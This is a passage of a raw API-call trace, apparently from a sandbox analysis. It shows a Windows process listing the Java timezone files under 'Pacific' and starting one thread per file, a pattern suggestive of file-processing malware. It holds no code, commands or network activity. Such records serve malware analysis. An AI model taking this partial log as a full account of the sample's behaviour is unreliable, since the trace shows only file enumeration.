out: lpThreadId=0x0) returned 0x2744 [0159.253] FindNextFileW (in: hFindFile=0x1cd9dfd0, lpFindFileData=0x1cec4760 | out: lpFindFileData=0x1cec4760*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x746ac100, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x746ac100, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x746ac100, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x41, dwReserved0=0x0, dwReserved1=0x0, cFileName="Marquesas", cAlternateFileName="MARQUE~1")) returned 1 [0159.253] wcscmp (_String1="Marquesas", _String2=".") returned 1 [0159.253] wcscmp (_String1="Marquesas", _String2="..") returned 1 [0159.253] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x74) returned 0x1cdb6a70 [0159.253] wcscpy (in: _Dest=0x1cdb6a70, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Pacific" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Pacific") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Pacific" [0159.253] wcscat (in: _Dest=0x1cdb6a70, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Pacific\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Pacific\\" [0159.253] wcscat (in: _Dest=0x1cdb6a70, _Source="Marquesas" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Pacific\\Marquesas") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Pacific\\Marquesas" [0159.253] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cdb6a70, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2748 [0159.254] FindNextFileW (in: hFindFile=0x1cd9dfd0, lpFindFileData=0x1cec4760 | out: lpFindFileData=0x1cec4760*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x746ac100, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x746ac100, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x746ac100, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x59, dwReserved0=0x0, dwReserved1=0x0, cFileName="Midway", cAlternateFileName="")) returned 1 [0159.254] wcscmp (_String1="Midway", _String2=".") returned 1 [0159.254] wcscmp (_String1="Midway", _String2="..") returned 1 [0159.254] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6e) returned 0x1cdb6af0 [0159.254] wcscpy (in: _Dest=0x1cdb6af0, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Pacific" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Pacific") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Pacific" [0159.254] wcscat (in: _Dest=0x1cdb6af0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Pacific\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Pacific\\" [0159.254] wcscat (in: _Dest=0x1cdb6af0, _Source="Midway" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Pacific\\Midway") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Pacific\\Midway" [0159.254] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cdb6af0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x274c [0159.255] FindNextFileW (in: hFindFile=0x1cd9dfd0, lpFindFileData=0x1cec4760 | out: lpFindFileData=0x1cec4760*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x746ac100, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x746ac100, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x746ac100, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x61, dwReserved0=0x0, dwReserved1=0x0, cFileName="Nauru", cAlternateFileName="")) returned 1 [0159.255] wcscmp (_String1="Nauru", _String2=".") returned 1 [0159.255] wcscmp (_String1="Nauru", _String2="..") returned 1 [0159.255] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6c) returned 0x1cdb6b70 [0159.255] wcscpy (in: _Dest=0x1cdb6b70, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Pacific" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Pacific") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Pacific" [0159.255] wcscat (in: _Dest=0x1cdb6b70, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Pacific\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Pacific\\" [0159.255] wcscat (in: _Dest=0x1cdb6b70, _Source="Nauru" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Pacific\\Nauru") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Pacific\\Nauru" [0159.256] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cdb6b70, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2750 [0159.256] FindNextFileW (in: hFindFile=0x1cd9dfd0, lpFindFileData=0x1cec4760 | out: lpFindFileData=0x1cec4760*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x746ac100, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x746ac100, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x746ac100, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x59, dwReserved0=0x0, dwReserved1=0x0, cFileName="Niue", cAlternateFileName="")) returned 1 [0159.256] wcscmp (_String1="Niue", _String2=".") returned 1 [0159.256] wcscmp (_String1="Niue", _String2="..") returned 1 [0159.256] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6a) returned 0x1cdb6bf0 [0159.256] wcscpy (in: _Dest=0x1cdb6bf0, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Pacific" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Pacific") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Pacific" [0159.256] wcscat (in: _Dest=0x1cdb6bf0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Pacific\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Pacific\\" [0159.256] wcscat (in: _Dest=0x1cdb6bf0, _Source="Niue" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Pacific\\Niue") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Pacific\\Niue" [0159.257] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cdb6bf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2754 [0159.257] FindNextFileW (in: hFindFile=0x1cd9dfd0, lpFindFileData=0x1cec4760 | out: lpFindFileData=0x1cec4760*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x746ac100, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x746ac100, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x746ac100, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x4d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Norfolk", cAlternateFileName="")) returned 1 [0159.257] wcscmp (_String1="Norfolk", _String2=".") returned 1 [0159.257] wcscmp (_String1="Norfolk", _String2="..") returned 1 [0159.257] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1cdb6c70 [0159.257] wcscpy (in: _Dest=0x1cdb6c70, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Pacific" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Pacific") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Pacific" [0159.257] wcscat (in: _Dest=0x1cdb6c70, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Pacific\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Pacific\\" [0159.258] wcscat (in: _Dest=0x1cdb6c70, _Source="Norfolk" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Pacific\\Norfolk") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Pacific\\Norfolk" [0159.258] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cdb6c70, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2758 [0159.258] FindNextFileW (in: hFindFile=0x1cd9dfd0, lpFindFileData=0x1cec4760 | out: lpFindFileData=0x1cec4760*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x746ac100, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x746ac100, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x746ac100, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x79, dwReserved0=0x0, dwReserved1=0x0, cFileName="Noumea", cAlternateFileName="")) returned 1 [0159.258] wcscmp (_String1="Noumea", _String2=".") returned 1 [0159.258] wcscmp (_String1="Noumea", _String2="..") returned 1 [0159.258] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6e) returned 0x1cdb6cf0 [0159.259] wcscpy (in: _Dest=0x1cdb6cf0, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Pacific" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Pacific") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Pacific" [0159.259] wcscat (in: _Dest=0x1cdb6cf0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Pacific\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Pacific\\" [0159.259] wcscat (in: _Dest=0x1cdb6cf0, _Source="Noumea" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Pacific\\Noumea") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Pacific\\Noumea" [0159.259] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cdb6cf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x275c [0159.259] FindNextFileW (in: hFindFile=0x1cd9dfd0, lpFindFileData=0x1cec4760 | out: lpFindFileData=0x1cec4760*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x746ac100, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x746ac100, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x746ac100, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x4d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pago_Pago", cAlternateFileName="PAGO_P~1")) returned 1 [0159.259] wcscmp (_String1="Pago_Pago", _String2=".") returned 1 [0159.259] wcscmp (_String1="Pago_Pago", _String2="..") returned 1 [0159.259] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x74) returned 0x1cdb6d70 [0159.260] wcscpy (in: _Dest=0x1cdb6d70, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Pacific" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Pacific") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Pacific" [0159.260] wcscat (in: _Dest=0x1cdb6d70, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Pacific\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Pacific\\" [0159.260] wcscat (in: _Dest=0x1cdb6d70, _Source="Pago_Pago" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Pacific\\Pago_Pago") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Pacific\\Pago_Pago" [0159.260] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cdb6d70, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2760 [0159.261] FindNextFileW (in: hFindFile=0x1cd9dfd0, lpFindFileData=0x1cec4760 | out: lpFindFileData=0x1cec4760*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x746ac100, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x746ac100, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x746ac100, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x41, dwReserved0=0x0, dwReserved1=0x0, cFileName="Palau", cAlternateFileName="")) returned 1 [0159.261] wcscmp (_String1="Palau", _String2=".") returned 1 [0159.261] wcscmp (_String1="Palau", _String2="..") returned 1 [0159.261] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6c) returned 0x1cdb6df0 [0159.261] wcscpy (in: _Dest=0x1cdb6df0, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Pacific" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Pacific") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Pacific" [0159.261] wcscat (in: _Dest=0x1cdb6df0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Pacific\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Pacific\\" [0159.261] wcscat (in: _Dest=0x1cdb6df0, _Source="Palau" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Pacific\\Palau") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Pacific\\Palau" [0159.261] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cdb6df0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2764 [0159.262] FindNextFileW (in: hFindFile=0x1cd9dfd0, lpFindFileData=0x1cec4760 | out: lpFindFileData=0x1cec4760*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x746ac100, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x746ac100, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x746ac100, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x4d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pitcairn", cAlternateFileName="")) returned 1 [0159.262] wcscmp (_String1="Pitcairn", _String2=".") returned 1 [0159.262] wcscmp (_String1="Pitcairn", _String2="..") returned 1 [0159.262] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x72) returned 0x1cdb6e70 [0159.262] wcscpy (in: _Dest=0x1cdb6e70, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Pacific" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Pacific") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Pacific" [0159.262] wcscat (in: _Dest=0x1cdb6e70, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Pacific\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Pacific\\" [0159.262] wcscat (in: _Dest=0x1cdb6e70, _Source="Pitcairn" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Pacific\\Pitcairn") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Pacific\\Pitcairn" [0159.262] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cdb6e70, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2768 [0159.263] FindNextFileW (in: hFindFile=0x1cd9dfd0, lpFindFileData=0x1cec4760 | out: lpFindFileData=0x1cec4760*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x746ac100, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x746ac100, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x746ac100, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x41, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pohnpei", cAlternateFileName="")) returned 1 [0159.263] wcscmp (_String1="Pohnpei", _String2=".") returned 1 [0159.263] wcscmp (_String1="Pohnpei", _String2="..") returned 1 [0159.263] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1cdb6ef0 [0159.263] wcscpy (in: _Dest=0x1cdb6ef0, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Pacific" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Pacific") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Pacific" [0159.263] wcscat (in: _Dest=0x1cdb6ef0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Pacific\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Pacific\\" [0159.263] wcscat (in: _Dest=0x1cdb6ef0, _Source="Pohnpei" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Pacific\\Pohnpei") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Pacific\\Pohnpei" [0159.263] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cdb6ef0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x276c [0159.264] FindNextFileW (in: hFindFile=0x1cd9dfd0, lpFindFileData=0x1cec4760 | out: lpFindFileData=0x1cec4760*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x746ac100, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x746ac100, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x746ac100, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x1b, dwReserved0=0x0, dwReserved1=0x0, cFileName="Port_Moresby", cAlternateFileName="PORT_M~1")) returned 1 [0159.264] wcscmp (_String1="Port_Moresby", _String2=".") returned 1 [0159.265] wcscmp (_String1="Port_Moresby", _String2="..") returned 1 [0159.265] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7a) returned 0x1cdddf80 [0159.265] wcscpy (in: _Dest=0x1cdddf80, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Pacific" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Pacific") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Pacific" [0159.265] wcscat (in: _Dest=0x1cdddf80, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Pacific\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Pacific\\" [0159.265] wcscat (in: _Dest=0x1cdddf80, _Source="Port_Moresby" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Pacific\\Port_Moresby") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Pacific\\Port_Moresby" [0159.265] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cdddf80, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2770 [0159.266] FindNextFileW (in: hFindFile=0x1cd9dfd0, lpFindFileData=0x1cec4760 | out: lpFindFileData=0x1cec4760*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x746ac100, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x746ac100, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x746ac100, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x11d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rarotonga", cAlternateFileName="RAROTO~1")) returned 1 [0159.266] wcscmp (_String1="Rarotonga", _String2=".") returned 1 [0159.266] wcscmp (_String1="Rarotonga", _String2="..") returned 1 [0159.266] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x74) returned 0x1cdb6f70 [0159.266] wcscpy (in: _Dest=0x1cdb6f70, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Pacific" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Pacific") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Pacific" [0159.266] wcscat (in: _Dest=0x1cdb6f70, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Pacific\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Pacific\\" [0159.266] wcscat (in: _Dest=0x1cdb6f70, _Source="Rarotonga" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Pacific\\Rarotonga") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Pacific\\Rarotonga" [0159.266] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cdb6f70, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2774 [0159.267] FindNextFileW (in: hFindFile=0x1cd9dfd0, lpFindFileData=0x1cec4760 | out: lpFindFileData=0x1cec4760*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x746ac100, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x746ac100, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x746ac100, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x4d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Saipan", cAlternateFileName="")) returned 1 [0159.267] wcscmp (_String1="Saipan", _String2=".") returned 1 [0159.267] wcscmp (_String1="Saipan", _String2="..") returned 1 [0159.267] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6e) returned 0x1cdb6ff0 [0159.267] wcscpy (in: _Dest=0x1cdb6ff0, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Pacific" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Pacific") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Pacific" [0159.267] wcscat (in: _Dest=0x1cdb6ff0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Pacific\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Pacific\\" [0159.267] wcscat (in: _Dest=0x1cdb6ff0, _Source="Saipan" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Pacific\\Saipan") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Pacific\\Saipan" [0159.267] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cdb6ff0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2778 [0159.268] FindNextFileW (in: hFindFile=0x1cd9dfd0, lpFindFileData=0x1cec4760 | out: lpFindFileData=0x1cec4760*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x746ac100, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x746ac100, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x746ac100, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x41, dwReserved0=0x0, dwReserved1=0x0, cFileName="Tahiti", cAlternateFileName="")) returned 1 [0159.268] wcscmp (_String1="Tahiti", _String2=".") returned 1 [0159.268] wcscmp (_String1="Tahiti", _String2="..") returned 1 [0159.268] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6e) returned 0x1cdb7070 [0159.268] wcscpy (in: _Dest=0x1cdb7070, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Pacific" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Pacific") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Pacific" [0159.268] wcscat (in: _Dest=0x1cdb7070, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Pacific\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Pacific\\" [0159.268] wcscat (in: _Dest=0x1cdb7070, _Source="Tahiti" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Pacific\\Tahiti") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Pacific\\Tahiti" [0159.269] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cdb7070, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x277c [0159.269] FindNextFileW (in: hFindFile=0x1cd9dfd0, lpFindFileData=0x1cec4760 | out: lpFindFileData=0x1cec4760*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x746ac100, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x746ac100, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x746ac100, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x41, dwReserved0=0x0, dwReserved1=0x0, cFileName="Tarawa", cAlternateFileName="")) returned 1 [0159.269] wcscmp (_String1="Tarawa", _String2=".") returned 1 [0159.269] wcscmp (_String1="Tarawa", _String2="..") returned 1 [0159.269] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6e) returned 0x1cdb70f0 [0159.270] wcscpy (in: _Dest=0x1cdb70f0, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Pacific" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Pacific") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Pacific" [0159.270] wcscat (in: _Dest=0x1cdb70f0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Pacific\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Pacific\\" [0159.270] wcscat (in: _Dest=0x1cdb70f0, _Source="Tarawa" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Pacific\\Tarawa") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Pacific\\Tarawa" [0159.270] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cdb70f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2780 [0159.270] FindNextFileW (in: hFindFile=0x1cd9dfd0, lpFindFileData=0x1cec4760 | out: lpFindFileData=0x1cec4760*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x746ac100, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x746ac100, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x746ac100, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x0, dwReserved1=0x0, cFileName="Tongatapu", cAlternateFileName="TONGAT~1")) returned 1 [0159.271] wcscmp (_String1="Tongatapu", _String2=".") returned 1 [0159.271] wcscmp (_String1="Tongatapu", _String2="..") returned 1 [0159.271] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x74) returned 0x1cdb7170 [0159.271] wcscpy (in: 